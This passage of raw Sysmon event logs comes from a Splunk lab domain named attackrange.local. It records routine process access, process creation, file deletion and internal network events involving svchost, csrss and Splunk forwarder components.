15:11:35.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018758Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018757Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018756Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.982{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018755Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.982{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-75A7-613B-5805-00000000F101}1652C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018754Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.982{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-75A7-613B-5805-00000000F101}1652C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018753Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.983{625C326B-75A7-613B-5805-00000000F101}1652C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000018752Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.717{625C326B-75A7-613B-5705-00000000F101}30401508C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000058454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:35.272{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BC1DAAF4C1E32AAFD851401E0B1492C9,SHA256=2208BA799EAEB3B931B44EEF5ECF30FF1C892617081F22006FC6D331881987D4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018751Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.482{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-75A7-613B-5705-00000000F101}3040C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018750Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.482{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018749Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.482{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018748Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.482{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018747Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.482{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018746Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.482{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018745Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.482{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018744Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.482{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018743Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.482{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018742Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.482{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-75A7-613B-5705-00000000F101}3040C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018741Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.482{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018740Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.482{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-75A7-613B-5705-00000000F101}3040C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018739Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.483{625C326B-75A7-613B-5705-00000000F101}3040C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000018738Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:35.232{625C326B-75A6-613B-5605-00000000F101}22082376C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000018737Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.347{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50445-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018768Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:36.826{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=98770B6BFEB528A1A3DEA649C8B46389,SHA256=55CEF69A405C6A03C3C7E63FFAF41113FD24C36D71C354428A8A17E9CDF8D366,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000058456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:33.401{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63228-false10.0.1.12-8000- 23542300x800000000000000058455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:36.288{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D4B26A760F142ADD8AB137B46D866321,SHA256=56314AF76DDDA49132BF1322C9FD31FFD57810FA9069CD2C35666064DB27C516,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018767Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:36.123{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5491128646A656195C8F185E55093644,SHA256=E8A683260BB5EE3D8DDCD27C6F1083E30EC52CC64942D8A156C35C0CB19FAB21,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018766Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:36.123{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=68E70044E804BD18790A70E8B7DD91A3,SHA256=5A2806238376BD8E4042B39C50EB3C5101C5E586236AC852D9E3930CEAFABF9B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018769Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:37.888{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E052DBD633DD8695E7F65F359D4CD0A0,SHA256=E6C0245F4EAF43BF65A8D84228C44AB9BE3E98C941EC895876431E98BD5475E1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:37.366{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=71515664563B38AA76A2284236900C06,SHA256=D0244504F4C6B785E6B710EB99EA4A0153466C00060A835F4BC40AD234770345,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018770Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:38.904{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FCD31F230CBED96433D1F232C3189ED9,SHA256=5A4B96FD119495EBD2633931BA9910D0787D01BBA3D1ED47EA70471CDBB550CA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:38.413{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 